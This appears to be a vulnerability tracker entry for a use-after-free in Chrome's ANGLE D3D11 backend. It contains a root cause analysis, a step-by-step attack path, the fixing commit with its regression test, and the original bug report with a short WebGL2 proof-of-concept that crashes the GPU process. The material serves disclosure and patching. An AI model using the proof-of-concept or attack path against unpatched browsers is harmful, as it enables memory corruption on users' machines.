High patch-now ✔︎ verified CVSS 9.6 chrome UAF 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
9.6
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in ANGLE
DescriptionUse after free in ANGLE
ComponentANGLE
Sub-componentD3D11
Bug ClassUAF
Action tierpatch-now — corruption primitive, web-reachable in default config (confirmed) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
Reviewer notes: Minor: before the patch, commitRegion/setImageImpl were guarded by mTexStorage && isImageComplete, with isValidIndex only as a debug ASSERT, not by isImageComplete alone. The default precondition applies only to the Windows D3D11 backend.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker541715128
Fix commita871bdb05932 (angle/angle) +59/-6
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
CISA KEVNot listed
Creditedweihengqiuu
Reported2026-08-02 · bounty $2,500 (per vendor advisory)
Fix landed2026-08-18 (public git)
Disclosed2026-09-08
Patch gap21 days — fix public in source before the advisory

Background

ANGLE
Google’s translation layer that implements OpenGL ES on top of native GPU APIs such as Direct3D 11, used as Chrome’s GPU-process WebGL backend.
`gl::ImageIndex`
A value identifying a specific texture image (mip level, layer, and layer count) targeted by a texture operation.
`mAssociatedImages`
A map in TextureStorage11_2DArray keyed by LevelLayerRangeKey that records which ImageD3D objects point back into a given texture storage so they can be disassociated when the storage is freed.
Off-chain mip level
A mip level (e.g. level 10) specified independently of level 0’s derived mip chain, so it can exist outside the range [0, getLevelCount()) of the completed storage.

Root Cause Analysis

When redefining a 2D array texture, TextureD3D committed image data into texture storage and recorded image-to-storage back-references in mAssociatedImages, but guarded these operations only with isImageComplete(index) rather than first checking that the index actually falls within the allocated storage via isValidIndex(index). An “off-chain” mip level such as level 10 could pass isImageComplete while lying outside the completed storage’s getLevelCount() range, so TextureStorage11_2DArray::associateImage wrote its entry into mAssociatedImages under a level < getLevelCount() guard that silently dropped the association for the out-of-range level. Because the association was never recorded, when the storage was later released (by redefining level 0 with new dimensions) the off-chain image’s back-pointer into that storage was never cleared, leaving a dangling pointer that was dereferenced on the next redefinition of the off-chain level.

The fix adds an explicit isValidIndex(index) precondition to shouldUseSetData, commitRegion, and setImageImpl so out-of-range indices never touch storage, and widens the bookkeeping guard in associateImage to gl::IMPLEMENTATION_MAX_TEXTURE_LEVELS so every associated image is tracked and thus properly disassociated when storage is freed.

Key insight
The core mistake was conflating “image is complete” with “index is valid for this storage,” letting off-chain mip levels commit into and reference storage whose bookkeeping map never tracked them; the fix decouples the two by requiring isValidIndex(index) before any storage commit and by tracking associations for all representable levels so no back-pointer is left dangling on storage release.

Attack Path

  1. Create an off-chain level Allocate a 2D array texture at level 0, then specify an independent out-of-range level (e.g. level 10) via glTexImage3D, and populate it with glTexSubImage3D to create a staging image.
  2. Force complete storage Sample or draw with the texture so ANGLE allocates completed texture storage sized to level 0’s mip chain, which does not include the off-chain level.
  3. Record a dangling association Writing again to the off-chain level associates its ImageD3D with the storage, but the level < getLevelCount() guard drops the entry, so the back-pointer is never registered for cleanup.
  4. Release the storage Redefine level 0 with new dimensions, freeing the old texture storage while the off-chain image still points into it.
  5. Trigger the use-after-free Redefine or write the off-chain level again, dereferencing the stale storage pointer and reading or writing freed memory in the GPU process.

Impact Assessment

An attacker who runs attacker-controlled WebGL (script in a renderer driving the GPU process) gains a use-after-free on freed Direct3D 11 texture-storage memory, which can corrupt GPU-process heap state and is a stepping stone toward memory disclosure or code execution in that process. It manifests in ANGLE’s D3D11 backend inside Chrome’s GPU process. Preconditions are the Windows/D3D11 backend and the ability to redefine an off-chain 2D array mip level after its backing storage has been released.

Files Changed

  • src/tests/gl_tests/TextureTest.cpp
  • src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp
  • src/libANGLE/renderer/d3d/TextureD3D.cpp

Audit Directions

  • Completeness vs. validity conflation
    Audit texture and buffer paths that gate storage commits on an isImageComplete/“ready” style check without a separate bounds/isValidIndex check, since a resource can be complete yet still index outside the current backing allocation.
  • Asymmetric association bookkeeping
    Flag any place where a back-pointer is registered under a narrower bound (e.g. getLevelCount()) than the range over which that pointer can later be dereferenced or cleared, because dropped registrations become dangling pointers at release time.
  • Off-chain / out-of-range mip and layer handling
    Review redefinition and glTexImage/glTexSubImage flows for levels or layers specified outside a completed mip chain, which are a recurring source of storage-lifetime mismatches in the D3D11 backend.
From a871bdb05932b9bbaf511e531a8497cf1a6e1865 Mon Sep 17 00:00:00 2001
From: wangra <wangra@google.com>
Date: Sat, 15 Aug 2026 07:56:49 -0400
Subject: [PATCH] D3D11: Fix use-after-free when redefining 2D array mip levels

Validate image index bounds before committing texture storage regions
and track all associated images in TextureStorage11_2DArray to prevent
dangling pointers upon storage release.

Test: angle_end2end_tests --gtest_filter="*RedefineOffChainMipLevelAfterStorageRelease*"
Bug: b/541715128
Change-Id: I35bcce19336025db1d7921baced563b165dcf045
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/8263907
Reviewed-by: Yuxin Hu <yuxinhu@google.com>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Commit-Queue: Ran Wang <wangra@google.com>
---
diff --git a/src/libANGLE/renderer/d3d/TextureD3D.cpp b/src/libANGLE/renderer/d3d/TextureD3D.cpp
index 53dd6a8..ffc3a84 100644
--- a/src/libANGLE/renderer/d3d/TextureD3D.cpp
+++ b/src/libANGLE/renderer/d3d/TextureD3D.cpp
@@ -283,7 +283,7 @@
 
 bool TextureD3D::shouldUseSetData(const gl::ImageIndex &index, const ImageD3D *image) const
 {
-    if (!isImageComplete(index))
+    if (!isValidIndex(index) || !isImageComplete(index))
     {
         return false;
     }
@@ -730,9 +730,8 @@
                                        const gl::ImageIndex &index,
                                        const gl::Box &region)
 {
-    if (mTexStorage && isImageComplete(index))
+    if (isValidIndex(index) && isImageComplete(index))
     {
-        ASSERT(isValidIndex(index));
         ImageD3D *image = getImage(index);
         ANGLE_TRY(image->copyToStorage(context, mTexStorage, index, region));
         image->markClean();
@@ -958,7 +957,7 @@
     // Slow path: non-renderable texture, incomplete level, or texture storage doesn't exist.
     ANGLE_TRY(image->initializeContents(context));
 
-    if (mTexStorage && isImageComplete(index))
+    if (isValidIndex(index) && isImageComplete(index))
     {
         gl::Box fullImageArea(0, 0, 0, image->getWidth(), image->getHeight(), image->getDepth());
         ANGLE_TRY(commitRegion(context, index, fullImageArea));
diff --git a/src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp b/src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp
index 8b86f1c..eea8b27 100644
--- a/src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp
+++ b/src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp
@@ -2841,9 +2841,9 @@
     const GLint layerTarget = index.getLayerIndex();
     const GLint numLayers   = index.getLayerCount();
 
-    ASSERT(0 <= level && level < getLevelCount());
+    ASSERT(0 <= level && level < gl::IMPLEMENTATION_MAX_TEXTURE_LEVELS);
 
-    if (0 <= level && level < getLevelCount())
+    if (0 <= level && level < gl::IMPLEMENTATION_MAX_TEXTURE_LEVELS)
     {
         LevelLayerRangeKey key(level, layerTarget, numLayers);
         mAssociatedImages[key] = image;
diff --git a/src/tests/gl_tests/TextureTest.cpp b/src/tests/gl_tests/TextureTest.cpp
index 70ae2ba..3e6bc69 100644
--- a/src/tests/gl_tests/TextureTest.cpp
+++ b/src/tests/gl_tests/TextureTest.cpp
@@ -9112,6 +9112,60 @@
     EXPECT_PIXEL_COLOR_EQ(px, py, GLColor::green);
 }
 
+// Test that redefining an out-of-range mip level after texture storage is released does not cause a
+// use-after-free.
+TEST_P(Texture2DArrayTestES3, RedefineOffChainMipLevelAfterStorageRelease)
+{
+    GLTexture tex;
+    glBindTexture(GL_TEXTURE_2D_ARRAY, tex);
+    glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
+    glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
+
+    // Level 0 = 64x64x1 (complete storage would have 7 mip levels: 0..6)
+    glTexImage3D(GL_TEXTURE_2D_ARRAY, 0, GL_RGBA8, 64, 64, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE,
+                 nullptr);
+
+    // Specify off-chain level 10 (independent of level 0 mip chain)
+    glTexImage3D(GL_TEXTURE_2D_ARRAY, 10, GL_RGBA8, 4, 4, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    // Write data to level 10 before storage exists to create a staging texture
+    std::vector<GLColor> px(4 * 4, GLColor::red);
+    glTexSubImage3D(GL_TEXTURE_2D_ARRAY, 10, 0, 0, 0, 4, 4, 1, GL_RGBA, GL_UNSIGNED_BYTE,
+                    px.data());
+
+    // Sample the texture to force complete storage allocation (with 7 levels)
+    glUseProgram(mProgram);
+    glUniform1i(mTextureArraySliceUniformLocation, 0);
+    drawQuad(mProgram, "position", 0.5f);
+    glFinish();
+
+    // Write to level 10 again (should not associate with 7-level storage or result in dangling
+    // pointers)
+    glTexSubImage3D(GL_TEXTURE_2D_ARRAY, 10, 0, 0, 0, 4, 4, 1, GL_RGBA, GL_UNSIGNED_BYTE,
+                    px.data());
+
+    // Free the storage by redefining level 0 with new dimensions
+    glTexImage3D(GL_TEXTURE_2D_ARRAY, 0, GL_RGBA8, 128, 128, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE,
+                 nullptr);
+
+    // Redefining level 10 should not cause UAF / crash
+    glTexImage3D(GL_TEXTURE_2D_ARRAY, 10, GL_RGBA8, 8, 8, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+    EXPECT_GL_NO_ERROR();
+
+    // Also verify writing subimage to level 10 works without error
+    std::vector<GLColor> px8(8 * 8, GLColor::blue);
+    glTexSubImage3D(GL_TEXTURE_2D_ARRAY, 10, 0, 0, 0, 8, 8, 1, GL_RGBA, GL_UNSIGNED_BYTE,
+                    px8.data());
+    EXPECT_GL_NO_ERROR();
+
+    // Verify drawing with level 10 samples the correct color
+    glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_BASE_LEVEL, 10);
+    glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_MAX_LEVEL, 10);
+    drawQuad(mProgram, "position", 0.5f);
+    EXPECT_GL_NO_ERROR();
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::blue);
+}
+
 // Verify that redefining a 2D array level's layer count to 1 and then respecifying the image
 // doesn't cause an out-of-bounds write during the self-copy.
 TEST_P(Texture2DArrayTestES3, RedefineLayerCountTo1AndRespecify)
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/src/tests/gl_tests/TextureTest.cpp b/src/tests/gl_tests/TextureTest.cpp
index 70ae2ba..3e6bc69 100644
--- a/src/tests/gl_tests/TextureTest.cpp
+++ b/src/tests/gl_tests/TextureTest.cpp
@@ -9112,6 +9112,60 @@
     EXPECT_PIXEL_COLOR_EQ(px, py, GLColor::green);
 }
 
+// Test that redefining an out-of-range mip level after texture storage is released does not cause a
+// use-after-free.
+TEST_P(Texture2DArrayTestES3, RedefineOffChainMipLevelAfterStorageRelease)
+{
+    GLTexture tex;
+    glBindTexture(GL_TEXTURE_2D_ARRAY, tex);
+    glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
+    glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
+
+    // Level 0 = 64x64x1 (complete storage would have 7 mip levels: 0..6)
+    glTexImage3D(GL_TEXTURE_2D_ARRAY, 0, GL_RGBA8, 64, 64, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE,
+                 nullptr);
+
+    // Specify off-chain level 10 (independent of level 0 mip chain)
+    glTexImage3D(GL_TEXTURE_2D_ARRAY, 10, GL_RGBA8, 4, 4, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    // Write data to level 10 before storage exists to create a staging texture
+    std::vector<GLColor> px(4 * 4, GLColor::red);
+    glTexSubImage3D(GL_TEXTURE_2D_ARRAY, 10, 0, 0, 0, 4, 4, 1, GL_RGBA, GL_UNSIGNED_BYTE,
+                    px.data());
+
+    // Sample the texture to force complete storage allocation (with 7 levels)
+    glUseProgram(mProgram);
+    glUniform1i(mTextureArraySliceUniformLocation, 0);
+    drawQuad(mProgram, "position", 0.5f);
+    glFinish();
+
+    // Write to level 10 again (should not associate with 7-level storage or result in dangling
+    // pointers)
+    glTexSubImage3D(GL_TEXTURE_2D_ARRAY, 10, 0, 0, 0, 4, 4, 1, GL_RGBA, GL_UNSIGNED_BYTE,
+                    px.data());
+
+    // Free the storage by redefining level 0 with new dimensions
+    glTexImage3D(GL_TEXTURE_2D_ARRAY, 0, GL_RGBA8, 128, 128, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE,
+                 nullptr);
+
+    // Redefining level 10 should not cause UAF / crash
+    glTexImage3D(GL_TEXTURE_2D_ARRAY, 10, GL_RGBA8, 8, 8, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+    EXPECT_GL_NO_ERROR();
+
+    // Also verify writing subimage to level 10 works without error
+    std::vector<GLColor> px8(8 * 8, GLColor::blue);
+    glTexSubImage3D(GL_TEXTURE_2D_ARRAY, 10, 0, 0, 0, 8, 8, 1, GL_RGBA, GL_UNSIGNED_BYTE,
+                    px8.data());
+    EXPECT_GL_NO_ERROR();
+
+    // Verify drawing with level 10 samples the correct color
+    glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_BASE_LEVEL, 10);
+    glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_MAX_LEVEL, 10);
+    drawQuad(mProgram, "position", 0.5f);
+    EXPECT_GL_NO_ERROR();
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::blue);
+}
+
 // Verify that redefining a 2D array level's layer count to 1 and then respecifying the image
 // doesn't cause an out-of-bounds write during the self-copy.
 TEST_P(Texture2DArrayTestES3, RedefineLayerCountTo1AndRespecify)
Loading diff…

Original Bug Report

reported by we...@gmail.com

ANGLE D3D11: use-after-free in GPU process from WebGL2 TEXTURE_2D_ARRAY texImage3D


Report description

ANGLE D3D11: use-after-free in GPU process from WebGL2 TEXTURE_2D_ARRAY texImage3D


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules


The problem

Please describe the technical details of the vulnerability

A short WebGL2 sequence makes ANGLE’s D3D11 backend free a TextureStorage11_2DArray while an Image11 still holds a pointer to it, then dispatch a virtual call through that pointer in the GPU process.

Environment

Build prebuilt ASAN Chrome, chromium-browser-asan/win32-release_x64-media/…-1671634
OS Windows 11
GPU NVIDIA GeForce RTX 4080
GL_RENDERER ANGLE (NVIDIA, NVIDIA GeForce RTX 4080 (0x00002704) Direct3D11 vs_5_0 ps_5_0, D3D11)

Command line — no GPU, ANGLE, sandbox or feature flags:

chrome.exe --user-data-dir=&lt;tmp&gt; --no-first-run --no-default-browser-check --enable-logging --v=1 &lt;poc.html&gt;

The ASAN report lands in <tmp>\chrome_debug.log. Reproduces on the first iteration; the attached PoC runs the sequence once, with no heap grooming or allocation pressure.

Reproduction

Attached poc_tex2darray_uaf.html.

const T = gl.TEXTURE_2D_ARRAY;
gl.bindTexture(T, t);
gl.texParameteri(T, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
gl.texParameteri(T, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
const px = new Uint8Array(4*4*4).fill(0x41);

gl.texImage3D(T, 0,  gl.RGBA8, 64,64,1, 0, gl.RGBA, gl.UNSIGNED_BYTE, null);   // 1
gl.texImage3D(T, 10, gl.RGBA8, 4,4,1,   0, gl.RGBA, gl.UNSIGNED_BYTE, null);   // 2
gl.texSubImage3D(T, 10, 0,0,0, 4,4,1, gl.RGBA, gl.UNSIGNED_BYTE, px);          // 3
sample(t); gl.finish();                                                        // 4
gl.texSubImage3D(T, 10, 0,0,0, 4,4,1, gl.RGBA, gl.UNSIGNED_BYTE, px);          // 5
gl.texImage3D(T, 0,  gl.RGBA8, 128,128,1, 0, gl.RGBA, gl.UNSIGNED_BYTE, null); // 6
gl.texImage3D(T, 10, gl.RGBA8, 8,8,1, 0, gl.RGBA, gl.UNSIGNED_BYTE, null);     // 7  <-- crash

Impact analysis

Use-after-free in the GPU process, reachable from ordinary web content: a normal page running WebGL2, with no flags, no extensions, no field-trial changes, and no renderer compromise. The freed object is a 3216-byte rx::TextureStorage11_2DArray allocated by ANGLE in the GPU process; the observed use is a read at offset 0 of the freed region (the vtable pointer) followed by a virtual dispatch.


The cause

What version of Chrome have you found the security issue in?

153.0.7983.0 (Developer Build) (64-bit)

Yes, it is related to a crash.

Choose the type of vulnerability

Memory Corruption (in a sandboxed process)

View on issue tracker